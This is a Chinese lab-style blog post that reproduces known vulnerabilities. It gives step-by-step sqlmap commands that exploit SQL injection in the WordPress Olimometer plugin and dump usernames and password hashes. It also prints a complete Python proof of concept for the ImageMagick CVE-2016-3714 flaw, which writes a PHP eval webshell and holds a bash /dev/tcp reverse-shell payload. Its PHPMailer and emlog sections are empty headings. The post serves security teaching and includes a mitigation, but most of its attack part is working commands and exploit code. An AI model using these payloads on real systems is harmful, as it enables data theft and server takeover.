当前位置:   article > 正文

常见热门漏洞复现与分析(1)_热门漏洞实验

热门漏洞实验

实验内容


WordPress(SQL)

WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。它拥有世界上最强大的插件和模板,这也是WordPress非常流行的一个特性。它有数万中插件,供我们来使用包括SEO,控件等等,囊括了几乎所有互联网上可以实现的功能。

本次的漏洞就产生在一个插件上:Olimometer

Olimometer

这个插件是一个完全可定制的筹款温度计,可以显示当前进度的进度条,它可以自定义的皮肤和有多种不同的样式,而插件目录一般安装在wp_content\plugins下,如图:

漏洞介绍

在WordPress中,Olimometer插件在<=2.56版本存在SQL注入,恶意访问者可以通过SQL注入获取网站敏感信息。

影响范围

Olimometer<= 2.56

漏洞危害

恶意访问者可以利用Sql注入,从而获取WordPress网站的后台管理密码,有可能直接得到网站WebShell,甚至危害到服务器的安全

漏洞成因

首先打开文件

我们首先打开操作机,进入文件夹C:/www/ichunqiu/wp_content/plugins可以看到一个文件夹olimometer,这个文件夹是之前从官网下载的olimometer插件包。

我们进入文件夹,看到thermometer.php文件,点击右键使用notepad++打开,如下:

此处传入的参数没有进行过滤,故存在SQL注入漏洞

先构造地址

http://172.16.11.2/ichunqiu/wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1

然后payload

  1. sqlmap.py -u http://172.16.11.2/ichunqiu/wp-content
  2. /plugins/olimometer-master/thermometer.php?olimometer_id=1
  3. --dbs --threads=9
  • 9代表最高的线程,速度会更快,因为我们是在本地测试,为了实验效率,将线程设置为9,但在真实的环境中,一般设置为3,或者默认即可,因此线程越大,被安全软件封杀的几率越高。

出库

 爆破wordpess数据库的表名

  1. sqlmap.py -u http://172.16.11.2/ichunqiu/
  2. wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1
  3. --dbs --threads=9 -D wordpress --tables

出表

爆列名

  1. sqlmap.py -u http://172.16.11.2/ichunqiu/
  2. wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1
  3. --dbs --threads=9 -D wordpress -T wp_users --columns

 

 最后爆字段名

  1. sqlmap.py -u http://172.16.11.2/ichunqiu/
  2. wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1
  3. --dbs --threads=9 -D wordpress -T wp_users -C user_login,user_pass --dump
  4. //将wp_users列中,user_login,user_pass 两个字段下载,并显示到屏幕

总结:主要SQLMAP使用(讲解)

sqlmap.py -u                 -u意思是url  后面要添加一个url

http://172.16.11.2/ichunqiu/wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1              URL
--dbs  --threads=9                        --dbs表示爆破库名,--thread表示线程为9

-D wordpress                               -D表示选择database,后面加要爆破的数据库

-T wp_users                                 -T表示table,后面要加爆破的表

-C user_login,user_pass              -C表示column,后面要加列名

--dump                                         --dump表示下载下来

-------------------------------------------------------------------------------------------

PHPMmailer < 5.2.18远程代码执行漏洞

------------------------------------------------------------------------------------------

ImageMagick 命令执行漏洞

漏洞介绍

ImageMagick官方披露称,目前程序存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有可利用的代码时,可被远程执行任意代码,进而可能控制服务器

影响范围

ImageMagick <= 6.9.3-9

漏洞危害

成功利用该漏洞后,恶意访问者可以远程任意代码执行,在本次演示中,恶意访问者可以执行EXP在网站根目录写入一句话木马,直接拿到WebShell

了解漏洞原理

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。

我们在ImageMagick的默认配置文件里可以看到所有的委托: /etc/ImageMagick/delegates.xml

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE delegatemap [
  3. <!ELEMENT delegatemap (delegate)+>
  4. <!ELEMENT delegate (#PCDATA)>
  5. <!ATTLIST delegate decode CDATA #IMPLIED>
  6. <!ATTLIST delegate encode CDATA #IMPLIED>
  7. <!ATTLIST delegate mode CDATA #IMPLIED>
  8. <!ATTLIST delegate spawn CDATA #IMPLIED>
  9. <!ATTLIST delegate stealth CDATA #IMPLIED>
  10. <!ATTLIST delegate thread-support CDATA #IMPLIED>
  11. <!ATTLIST delegate command CDATA #REQUIRED>
  12. ]>
  13. <!--
  14. Delegate command file.
  15. Commands which specify
  16. decode="in_format" encode="out_format"
  17. specify the rules for converting from in_format to out_format These
  18. rules may be used to translate directly between formats.
  19. Commands which specify only
  20. decode="in_format"
  21. specify the rules for converting from in_format to some format that
  22. ImageMagick will automatically recognize. These rules are used to
  23. decode formats.
  24. Commands which specify only
  25. encode="out_format"
  26. specify the rules for an "encoder" which may accept any input format.
  27. For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are
  28. as follows:
  29. %i input image filename
  30. %o output image filename
  31. %u unique temporary filename
  32. %Z unique temporary filename
  33. %# input image signature
  34. %b image file size
  35. %c input image comment
  36. %g image geometry
  37. %h image rows (height)
  38. %k input image number colors
  39. %l image label
  40. %m input image format
  41. %p page number
  42. %q input image depth
  43. %s scene number
  44. %w image columns (width)
  45. %x input image x resolution
  46. %y input image y resolution
  47. <delegate decode="txt" encode="ps" mode="bi" command=""enscript" -o "%o" "%i""/>
  48. <delegate decode="miff" encode="win" stealth="True" spawn="True" command=""/usr/bin/display" -immutable -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
  49. <delegate decode="wmf" command=""wmf2eps" -o "%o" "%i""/>
  50. <delegate decode="xps:color" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
  51. <delegate decode="xps:cmyk" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=bmpsep8" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
  52. <delegate decode="xps:mono" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
  53. </delegatemap>

我们可以看到,这里它定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。

漏洞报告中给出的POC是利用了如下的这个委托:

<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在后面闭合双引号,写入自己要执行的命令。

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞

本实验中已经构造好了POC文件,同学们可以阅读POC内容,并执行它,来实践和验证我们之前的理论。

进行复现过程

首先使用user 、123456的账号登录,然后切换到高权限用户,使用命令:

  1. sudo su //切换用户
  2. 123456 //当前用户密码

下面查看Docker当前有哪些可用的镜像,使用命令:

docker images   //查看Docker当前已加载的镜像

 启动镜像

docker run --name=wangxinyu -p 8080:80 -itd 3a52e631fa88 /bin/bash

  • -p 表示port8080:80前者为默认的本地(127.0.0.1)端口,后者为镜像的端口
  • --name 表示制定临时名称
  • -itd 表示镜像在后台运行

然后进入镜像来启动apache服务,因为必须启动apache服务,网页才能正常的访问,使用命令:

  1. docker exec -it wangxinyu /bin/bash //进入临时名为wangxinyu的镜像操作
  2. service apache2 start // 启动http服务

 启动完成之后,可以使用如下命令来查看是否启动成功

service apache2 status    //查看服务状态

然后exit

查看文件

执行poc

python poc.py

 

 这时候回显生成Shell,我们进入文件夹查看一下shell

我们再进入docker镜像里,查看是否真的写入了一句话文件,使用命令:

  1. docker exec -it wangxinyu /bin/bash
  2. cd /var/www/html/
  3. cat shell.php

 

生成了一句话后门shell

 漏洞反思与总结

先查看一下poc

  1. python
  2. #!/usr/bin/env python
  3. # coding:utf-8
  4. import requests
  5. import base64
  6. def doPost(url, data):
  7. post_data = {"img": base64.b64encode(data)}
  8. try:
  9. requests.post(url + "/poc.php", data=post_data, timeout=1)
  10. except:
  11. pass
  12. # 写 webshell
  13. def writeshell(url):
  14. writeshell = '''push graphic-context
  15. viewbox 0 0 640 480
  16. fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")'
  17. pop graphic-context
  18. '''
  19. doPost(url, writeshell)
  20. resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
  21. if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
  22. print "WebShell: " + url + "shell.php"
  23. def reverse_shell(url):
  24. reverse_shell = """push graphic-context
  25. viewbox 0 0 640 480
  26. fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
  27. pop graphic-context"""
  28. # 反弹 shell
  29. doPost(url, reverse_shell)
  30. if __name__ == '__main__':
  31. # 写 webshell
  32. writeshell("http://172.16.11.2:8080/")
  33. # 反弹 shell
  34. # reverse_shell("http://127.0.0.1:8000/")

实验分析与总结

修复

使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:

  1. <policymap>
  2. <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  3. <policy domain="coder" rights="none" pattern="URL" />
  4. <policy domain="coder" rights="none" pattern="HTTPS" />
  5. <policy domain="coder" rights="none" pattern="MVG" />
  6. <policy domain="coder" rights="none" pattern="MSL" />
  7. </policymap>

emlog博客系统后台权限提升漏洞

本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号